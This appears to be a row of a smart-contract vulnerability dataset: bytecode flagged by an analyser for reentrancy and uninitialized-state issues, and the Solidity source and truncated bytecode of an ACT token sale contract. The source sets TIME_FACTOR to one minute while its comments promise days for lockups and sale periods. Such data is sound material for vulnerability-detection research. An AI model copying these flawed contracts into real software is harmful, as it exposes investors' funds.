5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611cb75750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611ced57503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b611cf657600080fd5b611d01838383611f67565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611d87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d7e90612b9e565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611e1a9190612627565b92505081905550436004600b54611e319190612627565b118015611e8b5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b15611efb578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6000604051611eee9190612bbe565b60405180910390a3611f61565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f589190612037565b60405180910390a35b50505050565b505050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611fab82611f80565b9050919050565b611fbb81611fa0565b8114611fc657600080fd5b50565b600081359050611fd881611fb2565b92915050565b60008060408385031215611ff557611ff4611f76565b5b600061200385828601611fc9565b925050602061201485828601611fc9565b9150509250929050565b6000819050919050565b6120318161201e565b82525050565b600060208201905061204c6000830184612028565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561208c578082015181840152602081019050612071565b8381111561209b576000848401525b50505050565b6000601f19601f8301169050919050565b60006120bd82612052565b6120c7818561205d565b93506120d781856020860161206e565b6120e0816120a1565b840191505092915050565b6000602082019050818103600083015261210581846120b2565b905092915050565b6121168161201e565b811461212157600080fd5b50565b6000813590506121338161210d565b92915050565b600080604083850312156121505761214f611f76565b5b600061215e85828601611fc9565b925050602061216f85828601612124565b9150509250929050565b60008115159050919050565b61218e81612179565b82525050565b60006020820190506121a96000830184612185565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6121ec826120a1565b810181811067ffffffffffffffff8211171561220b5761220a6121b4565b5b80604052505050565b600061221e611f6c565b905061222a82826121e3565b919050565b600067ffffffffffffffff82111561224a576122496121b4565b5b602082029050602081019050919050565b600080fd5b600061227361226e8461222f565b612214565b905080838252602082019050602084028301858111156122965761229561225b565b5b835b818110156122bf57806122ab8882611fc9565b845260208401935050602081019050612298565b5050509392505050565b600082601f8301126122de576122dd6121af565b5b81356122ee848260208601612260565b91505092915050565b60006020828403121561230d5761230c611f76565b5b600082013567ffffffffffffffff81111561232b5761232a611f7b565b5b612337848285016122c9565b91505092915050565b60008060006060848603121561235957612358611f76565b5b600061236786828701611fc9565b935050602061237886828701611fc9565b925050604061238986828701612124565b9150509250925092565b600060ff82169050919050565b6123a981612393565b82525050565b60006020820190506123c460008301846123a0565b92915050565b6000602082840312156123e0576123df611f76565b5b60006123ee84828501611fc9565b91505092915050565b61240081611fa0565b82525050565b600060208201905061241b60008301846123f7565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061246857607f821691505b6020821081141561247c5761247b612421565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006124eb8261201e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561251e5761251d6124b1565b5b600182019050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b600061258560288361205d565b915061259082612529565b604082019050919050565b600060208201905081810360008301526125b481612578565b9050919050565b7f45524332303a206275726e20746f20746865207a65726f206164647265737300600082015250565b60006125f1601f8361205d565b91506125fc826125bb565b602082019050919050565b60006020820190508181036000830152612620816125e4565b9050919050565b60006126328261201e565b915061263d8361201e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612672576126716124b1565b5b828201905092915050565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006126b360178361205d565b91506126be8261267d565b602082019050919050565b600060208201905081810360008301526126e2816126a6565b9050919050565b6000815190506126f881611fb2565b92915050565b60006020828403121561271457612713611f76565b5b6000612722848285016126e9565b91505092915050565b600060408201905061274060008301856123f7565b61274d60208301846123f7565b9392505050565b6000819050919050565b6000819050919050565b600061278361277e61277984612754565b61275e565b61201e565b9050919050565b61279381612768565b82525050565b600060c0820190506127ae60008301896123f7565b6127bb6020830188612028565b6127c8604083018761278a565b6127d5606083018661278a565b6127e260808301856123f7565b6127ef60a0830184612028565b979650505050505050565b6000815190506128098161210d565b92915050565b60008060006060848603121561282857612827611f76565b5b6000612836868287016127fa565b9350506020612847868287016127fa565b9250506040612858868287016127fa565b9150509250925092565b600060408201905061287760008301856123f7565b6128846020830184612028565b9392505050565b61289481612179565b811461289f57600080fd5b50565b6000815190506128b18161288b565b92915050565b6000602082840312156128cd576128cc611f76565b5b60006128db848285016128a2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061294060248361205d565b915061294b826128e4565b604082019050919050565b6000602082019050818103600083015261296f81612933565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006129d260228361205d565b91506129dd82612976565b604082019050919050565b60006020820190508181036000830152612a01816129c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612a6460258361205d565b9150612a6f82612a08565b604082019050919050565b60006020820190508181036000830152612a9381612a57565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612af660238361205d565b9150612b0182612a9a565b604082019050919050565b60006020820190508181036000830152612b2581612ae9565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000612b8860268361205d565b9150612b9382612b2c565b604082019050919050565b60006020820190508181036000830152612bb781612b7b565b9050919050565b6000602082019050612bd3600083018461278a565b9291505056fea2646970667358221220d85a60e945b4ebabc3f91fd0ff37abc307a3ca686be81a8b3f215398e38248ba64736f6c634300080a0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 10,392 |
0xb04a706630ba31f322718ae3cd14e3b096a4ffae | pragma solidity 0.4.20;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
assert(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
assert(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
assert(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
assert(b > 0);
c = a / b;
assert(a == b * c + a % b);
}
}
contract AcreConfig {
using SafeMath for uint;
uint internal constant TIME_FACTOR = 1 minutes;
// Ownable
uint internal constant OWNERSHIP_DURATION_TIME = 7; // 7 days
// MultiOwnable
uint8 internal constant MULTI_OWNER_COUNT = 5; // 5 accounts, exclude master
// Lockable
uint internal constant LOCKUP_DURATION_TIME = 365; // 365 days
// AcreToken
string internal constant TOKEN_NAME = "ACT";
string internal constant TOKEN_SYMBOL = "ACT";
uint8 internal constant TOKEN_DECIMALS = 18;
uint internal constant INITIAL_SUPPLY = 1*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply
uint internal constant CAPITAL_SUPPLY = 4*1e7 * 10 ** uint(TOKEN_DECIMALS); // supply
uint internal constant PRE_PAYMENT_SUPPLY = 995*1e4 * 10 ** uint(TOKEN_DECIMALS); // supply
uint internal constant MAX_MINING_SUPPLY = 4*1e8 * 10 ** uint(TOKEN_DECIMALS); // supply
// Sale
uint internal constant MIN_ETHER = 1*1e14; // 0.0001 ether
uint internal constant EXCHANGE_RATE = 1000000; // 1 eth = 1000000 ACT
uint internal constant PRESALE_DURATION_TIME = 15; // 15 days
uint internal constant CROWDSALE_DURATION_TIME = 21; // 21 days
// helper
function getDays(uint _time) internal pure returns(uint) {
return SafeMath.div(_time, 1 days);
}
function getHours(uint _time) internal pure returns(uint) {
return SafeMath.div(_time, 1 hours);
}
function getMinutes(uint _time) internal pure returns(uint) {
return SafeMath.div(_time, 1 minutes);
}
}
contract Ownable is AcreConfig {
address public owner;
address public reservedOwner;
uint public ownershipDeadline;
event logReserveOwnership(address indexed oldOwner, address indexed newOwner);
event logConfirmOwnership(address indexed oldOwner, address indexed newOwner);
event logCancelOwnership(address indexed oldOwner, address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function Ownable() public {
owner = msg.sender;
}
function reserveOwnership(address newOwner) onlyOwner public returns (bool success) {
require(newOwner != address(0));
logReserveOwnership(owner, newOwner);
reservedOwner = newOwner;
ownershipDeadline = SafeMath.add(now, SafeMath.mul(OWNERSHIP_DURATION_TIME, TIME_FACTOR));
return true;
}
function confirmOwnership() onlyOwner public returns (bool success) {
require(reservedOwner != address(0));
require(now > ownershipDeadline);
logConfirmOwnership(owner, reservedOwner);
owner = reservedOwner;
reservedOwner = address(0);
return true;
}
function cancelOwnership() onlyOwner public returns (bool success) {
require(reservedOwner != address(0));
logCancelOwnership(owner, reservedOwner);
reservedOwner = address(0);
return true;
}
}
contract MultiOwnable is Ownable {
address[] public owners;
event logGrantOwners(address indexed owner);
event logRevokeOwners(address indexed owner);
modifier onlyMutiOwners {
require(isExistedOwner(msg.sender));
_;
}
modifier onlyManagers {
require(isManageable(msg.sender));
_;
}
function MultiOwnable() public {
owners.length = MULTI_OWNER_COUNT;
}
function grantOwners(address _owner) onlyOwner public returns (bool success) {
require(!isExistedOwner(_owner));
require(isEmptyOwner());
owners[getEmptyIndex()] = _owner;
logGrantOwners(_owner);
return true;
}
function revokeOwners(address _owner) onlyOwner public returns (bool success) {
require(isExistedOwner(_owner));
owners[getOwnerIndex(_owner)] = address(0);
logRevokeOwners(_owner);
return true;
}
// helper
function isManageable(address _owner) internal constant returns (bool) {
return isExistedOwner(_owner) || owner == _owner;
}
function isExistedOwner(address _owner) internal constant returns (bool) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == _owner) {
return true;
}
}
}
function getOwnerIndex(address _owner) internal constant returns (uint) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == _owner) {
return i;
}
}
}
function isEmptyOwner() internal constant returns (bool) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == address(0)) {
return true;
}
}
}
function getEmptyIndex() internal constant returns (uint) {
for(uint8 i = 0; i < MULTI_OWNER_COUNT; ++i) {
if(owners[i] == address(0)) {
return i;
}
}
}
}
contract Pausable is MultiOwnable {
bool public paused = false;
event logPause();
event logUnpause();
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
modifier whenConditionalPassing() {
if(!isManageable(msg.sender)) {
require(!paused);
}
_;
}
function pause() onlyManagers whenNotPaused public returns (bool success) {
paused = true;
logPause();
return true;
}
function unpause() onlyManagers whenPaused public returns (bool success) {
paused = false;
logUnpause();
return true;
}
}
contract Lockable is Pausable {
mapping (address => uint) public locked;
event logLockup(address indexed target, uint startTime, uint deadline);
function lockup(address _target) onlyOwner public returns (bool success) {
require(!isManageable(_target));
locked[_target] = SafeMath.add(now, SafeMath.mul(LOCKUP_DURATION_TIME, TIME_FACTOR));
logLockup(_target, now, locked[_target]);
return true;
}
// helper
function isLockup(address _target) internal constant returns (bool) {
if(now <= locked[_target])
return true;
}
}
interface tokenRecipient {
function receiveApproval(address _from, uint _value, address _token, bytes _extraData) external;
}
contract TokenERC20 {
using SafeMath for uint;
string public name;
string public symbol;
uint8 public decimals;
uint public totalSupply;
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
event logERC20Token(address indexed owner, string name, string symbol, uint8 decimals, uint supply);
event logTransfer(address indexed from, address indexed to, uint value);
event logTransferFrom(address indexed from, address indexed to, address indexed spender, uint value);
event logApproval(address indexed owner, address indexed spender, uint value);
function TokenERC20(
string _tokenName,
string _tokenSymbol,
uint8 _tokenDecimals,
uint _initialSupply
) public {
name = _tokenName;
symbol = _tokenSymbol;
decimals = _tokenDecimals;
totalSupply = _initialSupply;
balanceOf[msg.sender] = totalSupply;
logERC20Token(msg.sender, name, symbol, decimals, totalSupply);
}
function _transfer(address _from, address _to, uint _value) internal returns (bool success) {
require(_to != address(0));
require(balanceOf[_from] >= _value);
require(SafeMath.add(balanceOf[_to], _value) > balanceOf[_to]);
uint previousBalances = SafeMath.add(balanceOf[_from], balanceOf[_to]);
balanceOf[_from] = balanceOf[_from].sub(_value);
balanceOf[_to] = balanceOf[_to].add(_value);
logTransfer(_from, _to, _value);
assert(SafeMath.add(balanceOf[_from], balanceOf[_to]) == previousBalances);
return true;
}
function transfer(address _to, uint _value) public returns (bool success) {
return _transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value);
_transfer(_from, _to, _value);
logTransferFrom(_from, _to, msg.sender, _value);
return true;
}
function approve(address _spender, uint _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
logApproval(msg.sender, _spender, _value);
return true;
}
function approveAndCall(address _spender, uint _value, bytes _extraData) public returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
}
contract AcreToken is Lockable, TokenERC20 {
string public version = '1.0';
address public companyCapital;
address public prePayment;
uint public totalMineSupply;
mapping (address => bool) public frozenAccount;
event logFrozenAccount(address indexed target, bool frozen);
event logBurn(address indexed owner, uint value);
event logMining(address indexed recipient, uint value);
event logWithdrawContractToken(address indexed owner, uint value);
function AcreToken(address _companyCapital, address _prePayment) TokenERC20(TOKEN_NAME, TOKEN_SYMBOL, TOKEN_DECIMALS, INITIAL_SUPPLY) public {
require(_companyCapital != address(0));
require(_prePayment != address(0));
companyCapital = _companyCapital;
prePayment = _prePayment;
transfer(companyCapital, CAPITAL_SUPPLY);
transfer(prePayment, PRE_PAYMENT_SUPPLY);
lockup(prePayment);
pause();
}
function _transfer(address _from, address _to, uint _value) whenConditionalPassing internal returns (bool success) {
require(!frozenAccount[_from]); // freeze
require(!frozenAccount[_to]);
require(!isLockup(_from)); // lockup
require(!isLockup(_to));
return super._transfer(_from, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public returns (bool success) {
require(!frozenAccount[msg.sender]); // freeze
require(!isLockup(msg.sender)); // lockup
return super.transferFrom(_from, _to, _value);
}
function freezeAccount(address _target) onlyManagers public returns (bool success) {
require(!isManageable(_target));
require(!frozenAccount[_target]);
frozenAccount[_target] = true;
logFrozenAccount(_target, true);
return true;
}
function unfreezeAccount(address _target) onlyManagers public returns (bool success) {
require(frozenAccount[_target]);
frozenAccount[_target] = false;
logFrozenAccount(_target, false);
return true;
}
function burn(uint _value) onlyManagers public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
logBurn(msg.sender, _value);
return true;
}
function mining(address _recipient, uint _value) onlyManagers public returns (bool success) {
require(_recipient != address(0));
require(!frozenAccount[_recipient]); // freeze
require(!isLockup(_recipient)); // lockup
require(SafeMath.add(totalMineSupply, _value) <= MAX_MINING_SUPPLY);
balanceOf[_recipient] = balanceOf[_recipient].add(_value);
totalSupply = totalSupply.add(_value);
totalMineSupply = totalMineSupply.add(_value);
logMining(_recipient, _value);
return true;
}
function withdrawContractToken(uint _value) onlyManagers public returns (bool success) {
_transfer(this, msg.sender, _value);
logWithdrawContractToken(msg.sender, _value);
return true;
}
function getContractBalanceOf() public constant returns(uint blance) {
blance = balanceOf[this];
}
function getRemainingMineSupply() public constant returns(uint supply) {
supply = MAX_MINING_SUPPLY - totalMineSupply;
}
function () public { revert(); }
}
contract AcreSale is MultiOwnable {
uint public saleDeadline;
uint public startSaleTime;
uint public softCapToken;
uint public hardCapToken;
uint public soldToken;
uint public receivedEther;
address public sendEther;
AcreToken public tokenReward;
bool public fundingGoalReached = false;
bool public saleOpened = false;
Payment public kyc;
Payment public refund;
Payment public withdrawal;
mapping(uint=>address) public indexedFunders;
mapping(address => Order) public orders;
uint public funderCount;
event logStartSale(uint softCapToken, uint hardCapToken, uint minEther, uint exchangeRate, uint startTime, uint deadline);
event logReservedToken(address indexed funder, uint amount, uint token, uint bonusRate);
event logWithdrawFunder(address indexed funder, uint value);
event logWithdrawContractToken(address indexed owner, uint value);
event logCheckGoalReached(uint raisedAmount, uint raisedToken, bool reached);
event logCheckOrderstate(address indexed funder, eOrderstate oldState, eOrderstate newState);
enum eOrderstate { NONE, KYC, REFUND }
struct Order {
eOrderstate state;
uint paymentEther;
uint reservedToken;
bool withdrawn;
}
struct Payment {
uint token;
uint eth;
uint count;
}
modifier afterSaleDeadline {
require(now > saleDeadline);
_;
}
function AcreSale(
address _sendEther,
uint _softCapToken,
uint _hardCapToken,
AcreToken _addressOfTokenUsedAsReward
) public {
require(_sendEther != address(0));
require(_addressOfTokenUsedAsReward != address(0));
require(_softCapToken > 0 && _softCapToken <= _hardCapToken);
sendEther = _sendEther;
softCapToken = _softCapToken * 10 ** uint(TOKEN_DECIMALS);
hardCapToken = _hardCapToken * 10 ** uint(TOKEN_DECIMALS);
tokenReward = AcreToken(_addressOfTokenUsedAsReward);
}
function startSale(uint _durationTime) onlyManagers internal {
require(softCapToken > 0 && softCapToken <= hardCapToken);
require(hardCapToken > 0 && hardCapToken <= tokenReward.balanceOf(this));
require(_durationTime > 0);
require(startSaleTime == 0);
startSaleTime = now;
saleDeadline = SafeMath.add(startSaleTime, SafeMath.mul(_durationTime, TIME_FACTOR));
saleOpened = true;
logStartSale(softCapToken, hardCapToken, MIN_ETHER, EXCHANGE_RATE, startSaleTime, saleDeadline);
}
// get
function getRemainingSellingTime() public constant returns(uint remainingTime) {
if(now <= saleDeadline) {
remainingTime = getMinutes(SafeMath.sub(saleDeadline, now));
}
}
function getRemainingSellingToken() public constant returns(uint remainingToken) {
remainingToken = SafeMath.sub(hardCapToken, soldToken);
}
function getSoftcapReached() public constant returns(bool reachedSoftcap) {
reachedSoftcap = soldToken >= softCapToken;
}
function getContractBalanceOf() public constant returns(uint blance) {
blance = tokenReward.balanceOf(this);
}
function getCurrentBonusRate() public constant returns(uint8 bonusRate);
// check
function checkGoalReached() onlyManagers afterSaleDeadline public {
if(saleOpened) {
if(getSoftcapReached()) {
fundingGoalReached = true;
}
saleOpened = false;
logCheckGoalReached(receivedEther, soldToken, fundingGoalReached);
}
}
function checkKYC(address _funder) onlyManagers afterSaleDeadline public {
require(!saleOpened);
require(orders[_funder].reservedToken > 0);
require(orders[_funder].state != eOrderstate.KYC);
require(!orders[_funder].withdrawn);
eOrderstate oldState = orders[_funder].state;
// old, decrease
if(oldState == eOrderstate.REFUND) {
refund.token = refund.token.sub(orders[_funder].reservedToken);
refund.eth = refund.eth.sub(orders[_funder].paymentEther);
refund.count = refund.count.sub(1);
}
// state
orders[_funder].state = eOrderstate.KYC;
kyc.token = kyc.token.add(orders[_funder].reservedToken);
kyc.eth = kyc.eth.add(orders[_funder].paymentEther);
kyc.count = kyc.count.add(1);
logCheckOrderstate(_funder, oldState, eOrderstate.KYC);
}
function checkRefund(address _funder) onlyManagers afterSaleDeadline public {
require(!saleOpened);
require(orders[_funder].reservedToken > 0);
require(orders[_funder].state != eOrderstate.REFUND);
require(!orders[_funder].withdrawn);
eOrderstate oldState = orders[_funder].state;
// old, decrease
if(oldState == eOrderstate.KYC) {
kyc.token = kyc.token.sub(orders[_funder].reservedToken);
kyc.eth = kyc.eth.sub(orders[_funder].paymentEther);
kyc.count = kyc.count.sub(1);
}
// state
orders[_funder].state = eOrderstate.REFUND;
refund.token = refund.token.add(orders[_funder].reservedToken);
refund.eth = refund.eth.add(orders[_funder].paymentEther);
refund.count = refund.count.add(1);
logCheckOrderstate(_funder, oldState, eOrderstate.REFUND);
}
// withdraw
function withdrawFunder(address _funder) onlyManagers afterSaleDeadline public {
require(!saleOpened);
require(fundingGoalReached);
require(orders[_funder].reservedToken > 0);
require(orders[_funder].state == eOrderstate.KYC);
require(!orders[_funder].withdrawn);
// token
tokenReward.transfer(_funder, orders[_funder].reservedToken);
withdrawal.token = withdrawal.token.add(orders[_funder].reservedToken);
withdrawal.eth = withdrawal.eth.add(orders[_funder].paymentEther);
withdrawal.count = withdrawal.count.add(1);
orders[_funder].withdrawn = true;
logWithdrawFunder(_funder, orders[_funder].reservedToken);
}
function withdrawContractToken(uint _value) onlyManagers public {
tokenReward.transfer(msg.sender, _value);
logWithdrawContractToken(msg.sender, _value);
}
// payable
function () payable public {
require(saleOpened);
require(now <= saleDeadline);
require(MIN_ETHER <= msg.value);
uint amount = msg.value;
uint curBonusRate = getCurrentBonusRate();
uint token = (amount.mul(curBonusRate.add(100)).div(100)).mul(EXCHANGE_RATE);
require(token > 0);
require(SafeMath.add(soldToken, token) <= hardCapToken);
sendEther.transfer(amount);
// funder info
if(orders[msg.sender].paymentEther == 0) {
indexedFunders[funderCount] = msg.sender;
funderCount = funderCount.add(1);
orders[msg.sender].state = eOrderstate.NONE;
}
orders[msg.sender].paymentEther = orders[msg.sender].paymentEther.add(amount);
orders[msg.sender].reservedToken = orders[msg.sender].reservedToken.add(token);
receivedEther = receivedEther.add(amount);
soldToken = soldToken.add(token);
logReservedToken(msg.sender, amount, token, curBonusRate);
}
}
contract AcrePresale is AcreSale {
function AcrePresale(
address _sendEther,
uint _softCapToken,
uint _hardCapToken,
AcreToken _addressOfTokenUsedAsReward
) AcreSale(
_sendEther,
_softCapToken,
_hardCapToken,
_addressOfTokenUsedAsReward) public {
}
function startPresale() onlyManagers public {
startSale(PRESALE_DURATION_TIME);
}
function getCurrentBonusRate() public constant returns(uint8 bonusRate) {
if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 30; } // 7days
else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(15, TIME_FACTOR))) { bonusRate = 25; } // 8days
else { bonusRate = 0; } //
}
}
contract AcreCrowdsale is AcreSale {
function AcreCrowdsale(
address _sendEther,
uint _softCapToken,
uint _hardCapToken,
AcreToken _addressOfTokenUsedAsReward
) AcreSale(
_sendEther,
_softCapToken,
_hardCapToken,
_addressOfTokenUsedAsReward) public {
}
function startCrowdsale() onlyManagers public {
startSale(CROWDSALE_DURATION_TIME);
}
function getCurrentBonusRate() public constant returns(uint8 bonusRate) {
if (now <= SafeMath.add(startSaleTime, SafeMath.mul( 7, TIME_FACTOR))) { bonusRate = 20; } // 7days
else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(14, TIME_FACTOR))) { bonusRate = 15; } // 7days
else if (now <= SafeMath.add(startSaleTime, SafeMath.mul(21, TIME_FACTOR))) { bonusRate = 10; } // 7days
else { bonusRate = 0; } //
}
} | 0x6060604052600436106101c2576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806301cb3b20146105e4578063025e7c27146105f957806304c98b2b1461065c5780630b3bc259146106715780630e29df221461069a57806325ba0824146106ef5780632ecf66e4146107405780634e2808da14610769578063590e1ae3146107965780635deeffb2146107cd578063639a9a67146107fa5780636769d1f9146108275780636e66f6e914610850578063738e6d78146108a55780637493357b146108de5780638846594b14610933578063888ea1201461096c5780638bec5b31146109955780638da5cb5b146109e65780638dd4f29214610a3b57806390d6b45f14610a645780639327d71014610a9b5780639b7e553114610afe5780639ef7e72314610b27578063a961e9e814610b4a578063b89e8cbb14610b73578063bf48780114610b9c578063bf88fc0914610bc5578063c0adc46514610c16578063cd53e45514610c45578063d424f62814610c6e578063d4e9329214610c9b578063d5d1e77014610cd2578063e91cc17c14610cff578063f0b3a7ba14610d38578063f40e847114610d61575b6000806000600b60159054906101000a900460ff1615156101e257600080fd5b60045442111515156101f357600080fd5b34655af3107a40001115151561020857600080fd5b349250610213610dd5565b60ff169150610266620f4240610258606461024a61023b606488610e3090919063ffffffff16565b88610e4990919063ffffffff16565b610e7790919063ffffffff16565b610e4990919063ffffffff16565b905060008111151561027757600080fd5b60075461028660085483610e30565b1115151561029357600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f1935050505015156102f557600080fd5b6000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101541415610415573360156000601754815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506103aa6001601754610e3090919063ffffffff16565b6017819055506000601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff0219169083600281111561040f57fe5b02179055505b61046a83601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154610e3090919063ffffffff16565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001018190555061050581601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610e3090919063ffffffff16565b601660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555061056083600954610e3090919063ffffffff16565b60098190555061057b81600854610e3090919063ffffffff16565b6008819055503373ffffffffffffffffffffffffffffffffffffffff167fc494cafcab216c174c88b11c828b99fac1d4d564e4b53a9d83a54d85175c27c584838560405180848152602001838152602001828152602001935050505060405180910390a2505050005b34156105ef57600080fd5b6105f7610eb2565b005b341561060457600080fd5b61061a6004808035906020019091905050610f90565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561066757600080fd5b61066f610fcf565b005b341561067c57600080fd5b610684610fef565b6040518082815260200191505060405180910390f35b34156106a557600080fd5b6106ad610ff5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106fa57600080fd5b610726600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061101b565b604051808215151515815260200191505060405180910390f35b341561074b57600080fd5b61075361114c565b6040518082815260200191505060405180910390f35b341561077457600080fd5b61077c611152565b604051808215151515815260200191505060405180910390f35b34156107a157600080fd5b6107a96112f3565b60405180848152602001838152602001828152602001935050505060405180910390f35b34156107d857600080fd5b6107e061130b565b604051808215151515815260200191505060405180910390f35b341561080557600080fd5b61080d61131a565b604051808215151515815260200191505060405180910390f35b341561083257600080fd5b61083a61132d565b6040518082815260200191505060405180910390f35b341561085b57600080fd5b610863611333565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156108b057600080fd5b6108dc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611359565b005b34156108e957600080fd5b6108f16117d9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561093e57600080fd5b61096a600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117ff565b005b341561097757600080fd5b61097f611c7f565b6040518082815260200191505060405180910390f35b34156109a057600080fd5b6109cc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611c85565b604051808215151515815260200191505060405180910390f35b34156109f157600080fd5b6109f9611dfe565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a4657600080fd5b610a4e611e23565b6040518082815260200191505060405180910390f35b3415610a6f57600080fd5b610a77611e38565b60405180848152602001838152602001828152602001935050505060405180910390f35b3415610aa657600080fd5b610abc6004808035906020019091905050611e50565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610b0957600080fd5b610b11611e83565b6040518082815260200191505060405180910390f35b3415610b3257600080fd5b610b486004808035906020019091905050611e89565b005b3415610b5557600080fd5b610b5d611fd7565b6040518082815260200191505060405180910390f35b3415610b7e57600080fd5b610b86611fdd565b6040518082815260200191505060405180910390f35b3415610ba757600080fd5b610baf612004565b6040518082815260200191505060405180910390f35b3415610bd057600080fd5b610bfc600480803573ffffffffffffffffffffffffffffffffffffffff1690602